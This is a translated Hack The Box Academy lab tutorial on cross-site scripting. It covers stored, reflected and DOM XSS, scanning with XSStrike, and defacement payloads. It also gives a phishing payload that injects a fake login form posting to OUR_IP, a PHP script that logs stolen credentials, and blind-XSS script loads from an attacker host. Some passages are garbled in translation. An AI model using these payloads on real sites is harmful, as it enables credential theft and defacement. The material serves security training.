XSS Basics

随着Web应用程序变得越来越先进和普遍,Web应用程序漏洞也越来越多。最常见的Web应用程序漏洞类型是跨站点脚本(XSS)漏洞。XSS漏洞利用用户输入清理中的缺陷将JavaScript代码“写入”页面并在客户端执行,从而导致多种类型的攻击。

What is XSS

典型的Web应用程序通过从后端服务器接收HTML代码并将其呈现在客户端互联网浏览器上来工作。当易受攻击的Web应用程序没有正确地清理用户输入时,恶意用户可以在输入字段中注入额外的JavaScript代码(例如,评论/回复),因此一旦另一个用户查看同一页面,他们就会在不知不觉中执行恶意JavaScript代码。

XSS漏洞仅在客户端执行,因此不会直接影响后端服务器。它们只能影响执行漏洞的用户。XSS漏洞对后端服务器的直接影响可能相对较低,但它们在Web应用程序中非常常见,因此这相当于中等风险(low impact + high probability = medium risk),我们应该始终尝试通过检测,修复和主动预防这些类型的漏洞来降低reduce风险。

xss risk

XSS Attacks

XSS漏洞可以促进广泛的攻击,这些攻击可以是任何可以通过浏览器JavaScript代码执行的东西。XSS攻击的一个基本示例是让目标用户在不知情的情况下将其会话cookie发送到攻击者的Web服务器。另一个例子是让目标浏览器执行导致恶意操作的API调用,例如将用户密码更改为攻击者选择的密码。还有许多其他类型的XSS攻击,从比特币挖矿到显示广告。

由于XSS攻击在浏览器内执行JavaScript代码,因此它们仅限于浏览器的JS引擎(即,Chrome中的V8)。它们不能执行系统范围的JavaScript代码来执行类似于系统级代码执行的操作。在现代浏览器中,它们也仅限于易受攻击网站的同一域。然而,如上所述,能够在用户的浏览器中执行JavaScript仍然可能导致各种各样的攻击。除此之外,如果熟练的研究人员识别出web浏览器中的二进制漏洞(例如,Chrome中的堆溢出),他们可以利用XSS漏洞在目标浏览器上执行JavaScript漏洞,最终突破浏览器的沙箱并在用户机器上执行代码。

XSS漏洞几乎可以在所有现代Web应用程序中找到,并且在过去二十年中一直被积极利用。一个著名的XSS例子是Samy Worm,这是一种基于浏览器的蠕虫,它在2005年利用了社交网站MySpace中存储的XSS漏洞。当浏览受感染的网页时,它会在受害者的MySpace页面上发布一条消息,上面写着:“Samy是我的英雄。“消息本身也包含相同的JavaScript有效载荷,以便在其他人查看时重新发布相同的消息。在一天之内,超过一百万MySpace用户在他们的页面上发布了这条消息。尽管这个特定的有效载荷没有造成任何实际伤害,但该漏洞可能被用于更邪恶的目的,例如窃取用户的信用卡信息,在浏览器上安装密钥记录器,甚至利用用户Web浏览器中的二进制漏洞(这在当时的Web浏览器中更常见)。

2014年,一名安全研究人员意外地在Twitter的TweetDeck仪表板中发现了一个XSS漏洞。利用这个漏洞在Twitter中创建了一条自我转发的推文,导致该推文在不到两分钟的时间内被转发了38,000多次。最终,它迫使Twitter暂时关闭TweetDeck,同时修补漏洞。

直到今天,即使是最突出的Web应用程序也有可能被利用的XSS漏洞。就连谷歌的搜索引擎页面,其搜索栏中也出现了多个XSS漏洞,最近一次是在2019年,在XML库中发现了一个XSS漏洞。此外,互联网上最常用的Web服务器Apache Server曾经报告过一个XSS漏洞,该漏洞被积极利用来窃取某些公司的用户密码。所有这些都告诉我们,XSS漏洞应该得到认真对待,并且应该在检测和预防它们方面投入大量的努力。

XSS的类型

XSS漏洞主要有三种类型:

Type Description
Stored (Persistent) XSS 最关键的XSS类型,当用户输入存储在后端数据库中,然后在检索时显示时发生(例如,帖子或评论)
Reflected (Non-Persistent) XSS 当用户输入在被后端服务器处理之后被显示在页面上,但是没有被存储(例如,搜索结果或错误信息)
DOM-based XSS 另一种非持久性XSS类型,当用户输入直接显示在浏览器中并在客户端完全处理时发生,而不到达后端服务器(例如,通过客户端HTTP参数或锚标记)

我们将在接下来的章节中介绍每种类型,并通过练习来了解它们是如何发生的,然后我们还将了解如何在攻击中利用它们。

Stored XSS

在我们学习如何发现XSS漏洞并利用它们进行各种攻击之前,我们必须首先了解不同类型的XSS漏洞及其差异,以了解在每种攻击中使用哪种漏洞。

XSS漏洞的第一个也是最关键的类型是Stored XSSPersistent XSS。如果我们注入的XSS负载存储在后端数据库中,并在访问页面时被检索,这意味着我们的XSS攻击是持久的,可能会影响访问页面的任何用户。

这使得这种类型的XSS成为最关键的,因为它影响了更广泛的受众,因为访问页面的任何用户都将成为这种攻击的受害者。此外,存储的XSS可能不容易删除,并且可能需要从后端数据库中删除有效负载。

我们可以启动下面的服务器来查看和练习一个存储的XSS示例。正如我们所看到的,网页是一个简单的To-Do List应用程序,我们可以添加项目。我们可以尝试输入test并按回车键来添加一个新项目,看看页面是如何处理的: img

正如我们所看到的,我们的输入显示在页面上。如果没有对我们的输入进行清理或过滤,页面可能容易受到XSS的攻击。

XSS Testing Payloads

我们可以使用以下基本XSS负载测试页面是否易受XSS攻击:

Code: 验证码: htmlHTML

<script>alert(window.origin)</script>

我们使用这个有效负载,因为它是一个非常容易发现的方法,可以知道我们的XSS有效负载何时成功执行。假设页面允许任何输入,并且没有对其执行任何清理。在这种情况下,警报应该在我们输入负载或刷新页面后立即弹出,并显示正在执行的页面的URL:

img

正如我们所看到的,我们确实收到了警报,这意味着页面容易受到XSS的攻击,因为我们的有效负载成功执行。我们可以通过单击[CTRL+U]或右键单击并选择View Page Source查看页面源来进一步确认这一点,我们应该在页面源中看到我们的负载:

Code:

<div></div><ul class="list-unstyled" id="todo"><ul><script>alert(window.origin)</script>
</ul></ul>

提示:许多现代Web应用程序利用跨域IFrame来处理用户输入,因此即使Web表单易受XSS攻击,它也不会成为主Web应用程序的漏洞。这就是为什么我们在警报框中显示window.origin的值,而不是像1这样的静态值。在这种情况下,警告框将显示它正在执行的URL,并将确认哪个表单是易受攻击的表单,以防使用IFrame。

由于一些现代浏览器可能会在特定位置阻止alert() JavaScript函数,因此了解一些其他基本XSS有效负载来验证XSS的存在可能会很方便。一个这样的XSS负载是<plaintext>,它将停止呈现它后面的HTML代码,并将其显示为纯文本。另一个容易发现的有效负载是<script>print()</script>,它将弹出浏览器打印对话框,这不太可能被任何浏览器阻止。尝试使用这些有效负载来了解它们的工作原理。您可以使用重置按钮删除任何当前的有效负载。

要查看负载是否持久并存储在后端,我们可以刷新页面,看看是否再次收到警报。如果我们这样做,我们会看到即使在整个页面刷新过程中,我们也会不断收到警报,确认这确实是一个Stored/Persistent XSS漏洞。这并不是我们独有的,因为任何访问该页面的用户都会触发XSS负载并获得相同的警报。

Reflected XSS

Non-Persistent XSS漏洞有两种类型:Reflected XSS,由后端服务器处理,DOM-based XSS,完全在客户端处理,永远不会到达后端服务器。与Persistent XSS不同,Non-Persistent XSS漏洞是临时的,不会通过页面刷新持续存在。因此,我们的攻击只影响目标用户,不会影响访问该页面的其他用户。

Reflected XSS当我们的输入到达后端服务器并返回给我们时,会出现漏洞,而不会被过滤或清理。在许多情况下,我们的整个输入可能会返回给我们,比如错误消息或确认消息。在这些情况下,我们可以尝试使用XSS负载来查看它们是否执行。然而,由于这些通常是临时消息,一旦我们从页面中移动,它们就不会再次执行,因此它们是Non-Persistent

img

正如我们所看到的,我们得到了Task 'test' could not be added.,其中包括我们的输入test作为错误消息的一部分。如果我们的输入没有被过滤或净化,页面可能容易受到XSS的攻击。我们可以尝试使用上一节中使用的相同XSS负载,然后单击Add

img

img

在本例中,我们看到错误消息现在显示为Task '' could not be added.。由于我们的payload是用<script>标签包装的,它不会被浏览器渲染,所以我们得到的是空的单引号''。我们可以再次查看页面源代码,以确认错误消息包含我们的XSS负载:

Code: 验证码: htmlHTML

<div></div><ul class="list-unstyled" id="todo"><div style="padding-left:25px">Task '<script>alert(window.origin)</script>' could not be added.</div></ul>

正如我们所看到的,单引号确实包含了我们的XSS负载'<script>alert(window.origin)</script>'

如果我们再次访问Reflected页面,错误消息不再出现,我们的XSS有效负载也不会执行,这意味着这个XSS漏洞确实是Non-Persistent

But if the XSS vulnerability is Non-Persistent, how would we target victims with it?

这取决于使用哪个HTTP请求将我们的输入发送到服务器。我们可以通过Firefox Developer Tools点击[CTRL+I]并选择Network标签来检查这一点。然后,我们可以再次放置test负载,并单击Add发送它:

img

正如我们所看到的,第一行显示我们的请求是GET请求。GET request将参数和数据作为URL的一部分发送。所以,3号。要获取URL,我们可以在发送XSS负载后从Firefox的URL栏中复制URL,或者右键单击to target a user, we can send them a URL containing our payload选项卡中的GET请求并选择Network。一旦受害者访问此URL,XSS有效负载将执行:

img

DOM XSS

第三种也是最后一种类型的XSS是另一种名为Non-PersistentDOM-based XSS类型。当reflected XSS通过HTTP请求将输入数据发送到后端服务器时,DOM XSS完全通过JavaScript在客户端处理。当使用JavaScript通过Document Object Model (DOM)更改页面源代码时,会发生DOM XSS。

我们可以运行下面的服务器来查看一个易受DOM XSS攻击的Web应用程序的示例。我们可以尝试添加test项,我们看到Web应用程序类似于我们以前使用的To-Do List Web应用程序:

img

然而,如果我们打开Firefox开发者工具中的Network标签,并重新添加test项,我们会注意到没有HTTP请求被发出:

img

我们看到URL中的输入参数为我们添加的项目使用了一个hashtag#,这意味着这是一个完全在浏览器上处理的客户端参数。这表明输入是在客户端通过JavaScript处理的,永远不会到达后端;因此它是DOM-based XSS

此外,如果我们通过点击[CTRL+I]查看页面源,我们会注意到我们的test字符串无处可寻。这是因为当我们点击Add按钮时,JavaScript代码正在更新页面,这是在我们的浏览器检索页面源之后,因此基本页面源不会显示我们的输入,如果我们刷新页面,它将不会被保留(即Non-Persistent)。我们仍然可以通过点击[CTRL+SHIFT+C]使用Web Inspector工具查看呈现的页面源代码: img

Source & Sink

为了进一步理解基于DOM的XSS漏洞的本质,我们必须理解页面上显示的对象的SourceSink的概念。Source是接受用户输入的JavaScript对象,它可以是任何输入参数,如URL参数或输入字段,正如我们上面看到的。

另一方面,Sink是将用户输入写入页面上的DOM Object的函数。如果Sink函数没有正确地清理用户输入,它将容易受到XSS攻击。写入DOM对象的一些常用JavaScript函数包括:

  • document.write()
  • DOM.innerHTML
  • DOM.outerHTML

此外,一些写入DOM对象的jQuery库函数是:

  • add()
  • after()
  • append()

如果一个Sink函数在没有任何清理的情况下写入了确切的输入(就像上面的函数一样),并且没有使用其他的清理方法,那么我们知道页面应该容易受到XSS的攻击。

我们可以查看To-Do web应用程序的源代码,并检查script.js,我们将看到Source是从task=参数中获取的:

Code:

var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);

在这些行的正下方,我们看到页面使用innerHTML函数将task变量写入todo DOM中:

Code:

document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);

因此,我们可以看到我们可以控制输入,而输出没有被清理,所以这个页面应该容易受到DOM XSS的攻击。

DOM Attacks

如果我们尝试之前使用的XSS有效负载,我们将看到它不会执行。这是因为innerHTML函数不允许将其中的<script>标记用作安全特性。尽管如此,我们使用的许多其他XSS有效负载不包含<script>标记,如以下XSS有效负载:

Code:

<img src="" onerror=alert(window.origin)>

上面这行代码创建了一个新的HTML image对象,它有一个onerror属性,可以在找不到图像时执行JavaScript代码。因此,由于我们提供了一个空的image链接(""),我们的代码应该总是在不使用<script>标签的情况下执行:

img

要针对具有此DOM XSS漏洞的用户,我们可以再次从浏览器复制URL并与他们共享,一旦他们访问它,JavaScript代码就应该执行。这两个负载都是最基本的XSS负载。在许多情况下,我们可能需要使用各种有效载荷,具体取决于Web应用程序和浏览器的安全性,我们将在下一节中讨论。

XSS Discovery

到目前为止,我们应该已经很好地理解了什么是XSS漏洞,XSS的三种类型,以及每种类型与其他类型的区别。我们还应该理解XSS是如何通过将JavaScript代码注入到客户端页面源代码中来工作的,从而执行额外的代码,我们稍后将学习如何利用这些代码。

在本节中,我们将介绍检测Web应用程序中XSS漏洞的各种方法。在Web应用程序漏洞(以及一般的所有漏洞)中,检测它们可能变得与利用它们一样困难。然而,由于XSS漏洞普遍存在,许多工具可以帮助我们检测和识别它们。

自动发现

几乎所有的Web应用程序漏洞扫描器(如NessusBurp ProZAP)都具有检测所有三种类型的XSS漏洞的各种功能。这些扫描器通常执行两种类型的扫描:被动扫描,检查客户端代码中潜在的基于DOM的漏洞;主动扫描,发送各种类型的有效负载,试图通过在页面源中注入有效负载来触发XSS。

虽然付费工具通常在检测XSS漏洞方面具有更高的准确性(特别是在需要安全绕过时),但我们仍然可以找到开源工具来帮助我们识别潜在的XSS漏洞。这些工具通常通过识别网页中的输入字段,发送各种类型的XSS有效负载,然后比较呈现的页面源,看看是否可以在其中找到相同的有效负载,这可能表明XSS注入成功。但是,这并不总是准确的,因为有时候,即使注入了相同的负载,由于各种原因,它也可能不会导致成功执行,因此我们必须始终手动验证XSS注入。

一些可以帮助我们发现XSS的常用开源工具是XSS StrikeBrute XSSXSSer。我们可以尝试使用XSS Strike将其克隆到我们的VM:

mikannse7@htb[/htb]$ git clone https://github.com/s0md3v/XSStrike.git
mikannse7@htb[/htb]$ cd XSStrike
mikannse7@htb[/htb]$ pip install -r requirements.txt
mikannse7@htb[/htb]$ python xsstrike.py

XSStrike v3.1.4
...SNIP...

然后,我们可以运行脚本,并使用-u为它提供一个带有参数的URL。让我们尝试使用它与我们的Reflected XSS例子从前面的部分:

mikannse7@htb[/htb]$ python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" 

XSStrike v3.1.4

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: task
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]

正如我们所看到的,该工具从第一个有效负载中识别出易受XSS攻击的参数。Try to verify the above payload by testing it on one of the previous exercises. You may also try testing out the other tools and run them on the same exercises to see how capable they are in detecting XSS vulnerabilities.

手动发现

当涉及到手动XSS发现时,发现XSS漏洞的难度取决于Web应用程序的安全级别。基本的XSS漏洞通常可以通过测试各种XSS有效负载来发现,但识别高级XSS漏洞需要高级代码审查技能。

XSS Payloads XSS有效载荷

查找XSS漏洞的最基本方法是针对给定网页中的输入字段手动测试各种XSS有效负载。我们可以在网上找到大量的XSS负载列表,比如[PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md)上的列表或者PayloadBox中的列表。然后,我们可以开始逐个测试这些负载,方法是复制每个负载并将其添加到我们的表单中,然后查看是否会弹出警告框。

注意:XSS可以被注入到HTML页面中的任何输入中,这不仅限于HTML输入字段,还可以在HTTP头中,如Cookie或User-Agent(即,当它们的值显示在页面上时)。

你会注意到,上面的大多数有效负载都不能在我们的示例Web应用程序中工作,即使我们正在处理最基本类型的XSS漏洞。这是因为这些有效负载是为各种各样的注入点编写的(比如在单引号后注入),或者是为了逃避某些安全措施(比如清理过滤器)而设计的。此外,这样的有效载荷利用各种注入向量来执行JavaScript代码,如基本的<script>标签、其他HTML Attributes<img>或甚至CSS Style属性。这就是为什么我们可以预期这些有效负载中的许多负载不会在所有测试用例中工作,因为它们被设计为与某些类型的注入一起工作。

这就是为什么手动复制/粘贴XSS有效负载效率不高的原因,因为即使Web应用程序存在漏洞,我们也可能需要一段时间来识别漏洞,特别是当我们有许多输入字段需要测试时。这就是为什么编写我们自己的Python脚本来自动发送这些有效负载,然后比较页面源以查看我们的有效负载是如何呈现的,这可能更有效。这可以帮助我们在高级情况下,XSS工具无法轻松发送和比较有效负载。通过这种方式,我们将有优势定制我们的工具,以我们的目标Web应用程序。但是,这是一种高级的XSS发现方法,不属于本模块的讨论范围。

XSS Attacks

Defacing

现在我们已经了解了不同类型的XSS和发现网页中XSS漏洞的各种方法,我们可以开始学习如何利用这些XSS漏洞。如前所述,XSS攻击的破坏和范围取决于XSS的类型,存储的XSS是最关键的,而基于DOM的则不那么重要。

通常与存储的XSS漏洞一起使用的最常见的攻击之一是网站污损攻击。Defacing一个网站意味着为访问该网站的任何人改变其外观。黑客组织经常会破坏一个网站,声称他们已经成功地攻击了它,就像黑客在2018年破坏了英国国民健康服务(NHS)一样。这种攻击可能会引起媒体的强烈反响,并可能严重影响公司的投资和股价,特别是对银行和科技公司。

虽然许多其他漏洞可以用来实现同样的事情,但存储的XSS漏洞是最常用的漏洞之一。

污损元素

我们可以利用注入的JavaScript代码(通过XSS)使网页看起来像任何我们喜欢的方式。然而,污损网站通常用于发送简单的消息(即,我们成功地黑了你),所以给污损的网页一个美丽的外观并不是真正的主要目标。

三个HTML元素通常用于更改网页的主要外观:

  • Background Color document.body.style.background
  • Background document.body.background
  • Page Title document.title
  • Page Text DOM.innerHTML

我们可以利用其中的两个或三个元素向网页写入基本消息,甚至删除易受攻击的元素,这样就很难快速重置网页,正如我们接下来将要看到的那样。

Changing Background

让我们回到我们的Stored XSS练习,并将其作为我们攻击的基础。您可以返回到Stored XSS部分以生成服务器并执行后续步骤。

要更改网页的背景,我们可以选择特定的颜色或使用图像。我们将使用颜色作为背景,因为大多数污损攻击使用深色作为背景。为此,我们可以使用以下有效载荷:

Code:

<script>document.body.style.background = "#141d2b"</script>

提示:在这里,我们将背景颜色设置为默认的Hack The Box背景颜色。我们可以使用任何其他十六进制值,或者可以使用命名颜色,如 = "black"

我们将payload添加到To-Do列表中,我们将看到背景颜色发生了变化:

img

这将持续通过页面刷新,并会出现在任何人谁访问该页面,因为我们正在利用一个存储的XSS漏洞。

另一种选择是使用以下有效载荷将图像设置为背景:

Code:

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

尝试使用上面的payload,看看最终结果如何。

Changing Page Title

我们可以使用2Do JavaScript函数将页面标题从document.title更改为我们选择的任何标题:

Code:

<script>document.title = 'HackTheBox Academy'</script>

我们可以从页面窗口/选项卡中看到,我们的新标题已经取代了以前的标题: img

Changing Page Text

当我们想要改变网页上显示的文本时,我们可以利用各种JavaScript函数来实现。例如,我们可以使用innerHTML函数更改特定HTML元素/DOM的文本:

Code:

document.getElementById("todo").innerHTML = "New Text"

我们还可以利用jQuery函数来更有效地实现同样的事情,或者改变一行中多个元素的文本(要做到这一点,必须在页面源代码中导入jQuery库):

Code:

$("#todo").html('New Text');

这为我们提供了各种选项来自定义网页上的文本,并进行微调以满足我们的需求。然而,由于黑客组织通常会在网页上留下一条简单的消息,而不会留下任何其他信息,因此我们将使用body更改main innerHTML的整个HTML代码,如下所示:

Code:

document.getElementsByTagName('body')[0].innerHTML = "New Text"

正如我们所看到的,我们可以用body指定document.getElementsByTagName('body')元素,通过指定[0],我们选择了第一个body元素,这应该会改变整个网页的文本。我们也可以使用jQuery来实现同样的事情。但是,在发送我们的有效负载并进行永久更改之前,我们应该单独准备HTML代码,然后使用innerHTML将HTML代码设置为页面源代码。

在我们的练习中,我们将借用Hack The Box Academy主页的HTML代码:

Code:

<center>
<h1 style="color: white">Cyber Security Training</h1>
<p style="color: white">by
<img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy">
</p>
</center>

提示:在我们提交到最终的有效负载之前,尝试在本地运行我们的HTML代码以查看它的外观并确保它按预期运行是明智的。

我们将把HTML代码压缩成一行,并将其添加到前面的XSS负载中。最终有效载荷应如下:

Code:

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

一旦我们将有效负载添加到易受攻击的To-Do列表中,我们将看到我们的HTML代码现在永久地成为网页源代码的一部分,并向访问该页面的任何人显示我们的消息:

img

通过使用三个XSS负载,我们能够成功地污损我们的目标网页。如果我们查看网页的源代码,我们会看到原始的源代码仍然存在,我们注入的有效负载出现在最后:

Code:

<div></div><ul class="list-unstyled" id="todo"><ul>
<script>document.body.style.background = "#141d2b"</script>
</ul><ul><script>document.title = 'HackTheBox Academy'</script>
</ul><ul><script>document.getElementsByTagName('body')[0].innerHTML = '...SNIP...'</script>
</ul></ul>

这是因为我们注入的JavaScript代码在执行时改变了页面的外观,在本例中,是在源代码的末尾。如果我们的注入是在源代码中间的一个元素中,那么其他脚本或元素可能会被添加到它之后,所以我们必须考虑它们以获得我们需要的最终外观。

然而,对普通用户来说,页面看起来污损,并显示我们的新面貌。

另一种非常常见的XSS攻击类型是网络钓鱼攻击。网络钓鱼攻击通常利用看似合法的信息来欺骗受害者将其敏感信息发送给攻击者。XSS网络钓鱼攻击的一种常见形式是通过注入虚假的登录表单,将登录详细信息发送到攻击者的服务器,然后可用于代表受害者登录并控制其帐户和敏感信息。

Phishing

此外,假设我们要在特定组织的Web应用程序中识别XSS漏洞。在这种情况下,我们可以使用这种攻击作为网络钓鱼模拟练习,这也将帮助我们评估组织员工的安全意识,特别是如果他们信任易受攻击的Web应用程序,并且不希望它伤害他们。

XSS Discovery

我们首先尝试从本节末尾的服务器中查找Web应用程序/phishing中的XSS漏洞。当我们访问该网站时,我们看到它是一个简单的在线图像查看器,我们可以输入图像的URL,它会显示它:

img

这种形式的图像查看器在在线论坛和类似的Web应用程序中很常见。由于我们可以控制URL,因此可以从使用基本的XSS负载开始。但是当我们尝试这个payload时,我们看到没有执行任何东西,我们得到了dead image url图标:

img

因此,我们必须运行我们之前学习的XSS发现过程来找到一个工作的XSS负载。Before you continue, try to find an XSS payload that successfully executes JavaScript code on the page.

提示:要了解哪个有效负载应该工作,请尝试查看添加输入后输入在HTML源中的显示方式。

Login Form Injection

一旦我们确定了一个有效的XSS负载,我们就可以继续进行网络钓鱼攻击。要执行XSS网络钓鱼攻击,我们必须注入一个HTML代码,在目标页面上显示一个登录表单。这个表单应该将登录信息发送到我们正在监听的服务器,这样一旦用户尝试登录,我们就可以获得他们的凭据。

我们可以很容易地找到基本登录表单的HTML代码,或者我们可以编写自己的登录表单。下面的示例应该显示一个登录表单:

Code:

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>

在上面的HTML代码中,OUR_IP是我们的VM的IP,我们可以在ip a下使用(tun0)命令找到它。我们稍后将侦听此IP以检索从表单发送的凭据。登录表单应如下所示:

Code:

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>

接下来,我们应该准备XSS代码,并在易受攻击的表单上测试它。要将HTML代码写入易受攻击的页面,我们可以使用JavaScript函数document.write(),并在前面的XSS发现步骤中发现的XSS有效负载中使用它。一旦我们将HTML代码缩减为一行,并将其添加到write函数中,最终的JavaScript代码应该如下所示:

Code:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

我们现在可以使用XSS有效负载注入这个JavaScript代码(即,而不是运行alert(window.origin) JavaScript代码)。在本例中,我们利用了一个Reflected XSS漏洞,因此我们可以复制URL及其参数中的XSS负载,正如我们在Reflected XSS部分中所做的那样,当我们访问恶意URL时,页面应该如下所示:

img

Cleaning Up

我们可以看到URL字段仍然显示,这击败了我们的“Please login to continue“行。因此,为了鼓励受害者使用登录表单,我们应该删除URL字段,这样他们可能会认为他们必须登录才能使用该页面。为此,我们可以使用JavaScript函数document.getElementById().remove()函数。

要找到我们想要删除的HTML元素的id,我们可以通过单击[Page Inspector Picker]打开CTRL+SHIFT+C,然后单击我们需要的元素: Page Inspector Picker

正如我们在源代码和悬停文本中看到的,url表单的id为urlform

Code:

<form role="form" action="index.php" method="GET" id='urlform'>
<input type="text" placeholder="Image URL" name="url">
</form>

所以,我们现在可以使用这个id和remove()函数来删除URL表单:

Code:

document.getElementById('urlform').remove();

现在,一旦我们将此代码添加到之前的JavaScript代码中(在document.write函数之后),我们就可以在负载中使用此新的JavaScript代码:

Code:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

当我们尝试注入更新的JavaScript代码时,我们看到URL表单确实不再显示:

img

我们还可以看到,在注入登录表单之后,仍有一段原始HTML代码。这可以通过简单的注释来删除,通过在我们的XSS有效负载之后添加HTML开始注释:

Code:

...PAYLOAD... <!-- 

正如我们所看到的,这删除了原始HTML代码的剩余部分,我们的有效负载应该已经准备好了。页面现在看起来像是需要登录:img

我们现在可以复制最终的URL,它应该包括整个有效载荷,我们可以将其发送给受害者,并尝试欺骗他们使用虚假的登录表单。您可以尝试访问该URL,以确保它将按预期显示登录表单。也尝试登录到上面的登录表单,看看会发生什么。

Credential Stealing

最后,当受害者试图登录我们注入的登录表单时,我们会窃取登录凭据。如果您尝试登录到注入的登录表单,您可能会得到错误This site can’t be reached。这是因为,如前所述,我们的HTML表单被设计为将登录请求发送到我们的IP,该IP应该正在侦听连接。如果我们没有监听连接,我们会得到一个site can’t be reached错误。

因此,让我们启动一个简单的netcat服务器,看看当有人试图通过表单登录时,我们会收到什么样的请求。为此,我们可以在Pwnbox中的端口80上开始侦听,如下所示:

mikannse7@htb[/htb]$ sudo nc -lvnp 80
listening on [any] 80 ...

现在,让我们尝试使用凭据test:test登录,并检查我们得到的netcat输出(don't forget to replace OUR_IP in the XSS payload with your actual IP):

connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

正如我们所看到的,我们可以在HTTP请求URL(/?username=test&password=test)中捕获凭证。如果任何受害者尝试使用该表单登录,我们将获取他们的凭据。

然而,由于我们只使用netcat侦听器进行侦听,因此它无法正确处理HTTP请求,受害者将获得Unable to connect错误,这可能会引起一些怀疑。因此,我们可以使用一个基本的PHP脚本记录HTTP请求中的凭据,然后将受害者返回到原始页面,而不进行任何注入。在这种情况下,受害者可能会认为他们成功登录并将按预期使用图像查看器。

下面的PHP脚本应该可以完成我们所需要的工作,我们将把它写入VM上的一个文件,我们称之为index.php,并将其放在/tmp/tmpserver/don't forget to replace SERVER_IP with the ip from our exercise)中:

Code:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>

现在我们已经准备好了index.php文件,我们可以启动一个PHP监听服务器,我们可以使用它来代替我们之前使用的基本的netcat监听器:

mikannse7@htb[/htb]$ mkdir /tmp/tmpserver
mikannse7@htb[/htb]$ cd /tmp/tmpserver
mikannse7@htb[/htb]$ vi index.php #at this step we wrote our index.php file
mikannse7@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

让我们尝试登录到注入的登录表单,看看我们得到什么。我们看到我们被重定向到原始图像查看器页面:

img

如果我们检查Pwnbox中的creds.txt文件,我们会看到我们确实获得了登录凭据:

mikannse7@htb[/htb]$ cat creds.txt
Username: test | Password: test

一切准备就绪后,我们可以启动PHP服务器并将包含XSS有效负载的URL发送给受害者,一旦他们登录到表单,我们将获得他们的凭据并使用它们访问他们的帐户。

Session Hijacking

现代Web应用程序使用Cookie来在不同的浏览会话中维护用户的会话。这使用户只需登录一次,即使他们在其他时间或日期访问同一网站,也可以保持登录会话有效。但是,如果恶意用户从受害者的浏览器获得cookie数据,他们可能能够在不知道其凭据的情况下获得受害者用户的登录访问权限。

通过在受害者的浏览器上执行JavaScript代码的能力,我们可以收集他们的cookie并将其发送到我们的服务器,通过执行Session Hijacking(又名Cookie Stealing)攻击来劫持他们的登录会话。

Blind XSS Detection

我们通常通过尝试发现XSS漏洞是否存在以及在何处存在来启动XSS攻击。但是,在本练习中,我们将处理Blind XSS漏洞。当漏洞在我们无法访问的页面上触发时,就会发生Blind XSS漏洞。

盲XSS漏洞通常发生在只有特定用户才能访问的表单中(例如,管理员)。一些可能的例子包括:

  • Contact Forms
  • Reviews
  • User Details
  • Support Tickets
  • HTTP User-Agent headerHTTP User-Agent标头

让我们在本节末尾的服务器上的(/hijacking)上的Web应用程序上运行测试。我们看到一个包含多个字段的User Registration页面,因此让我们尝试提交一个test用户,以查看表单如何处理数据:

img

正如我们所看到的,一旦我们提交表单,我们就会得到以下消息: img

这表明我们将无法看到我们的输入将如何处理,或者它将如何在浏览器中显示,因为它将只出现在我们无法访问的某个管理员面板中。在正常情况下(即,非盲)的情况下,我们可以测试每个字段,直到我们得到一个alert框,就像我们在整个模块中所做的那样。但是,由于我们在这种情况下无法访问管理面板,因此how would we be able to detect an XSS vulnerability if we cannot see how the output is handled?

为此,我们可以使用与上一节相同的技巧,即使用一个JavaScript有效负载将HTTP请求发送回我们的服务器。如果JavaScript代码被执行,我们将在机器上得到响应,我们将知道该页面确实容易受到攻击。

然而,这引入了两个问题:

  1. How can we know which specific field is vulnerable?由于任何字段都可能执行我们的代码,我们无法知道是哪个字段执行的。
  2. How can we know what XSS payload to use?由于页面可能是脆弱的,但有效负载可能无法工作?

Loading a Remote Script加载远程脚本

在HTML中,我们可以在<script>标签中编写JavaScript代码,但我们也可以通过提供其URL来包含远程脚本,如下所示:

Code: 代码: htmlHTML

<script src="http://OUR_IP/script.js"></script>

因此,我们可以使用它来执行在我们的VM上提供的远程JavaScript文件。我们可以将请求的脚本名称从script.js更改为我们注入的字段的名称,这样当我们在VM中获得请求时,我们可以识别执行脚本的易受攻击的输入字段,如下所示:

Code:

<script src="http://OUR_IP/username"></script>

如果我们收到一个针对/username的请求,那么我们就知道username字段容易受到XSS攻击,以此类推。这样,我们就可以开始测试加载远程脚本的各种XSS负载,看看哪一个会向我们发送请求。以下是我们可以从[PayloadsAllTheThings中](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#blind-xss)使用的一些示例:

Code:

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
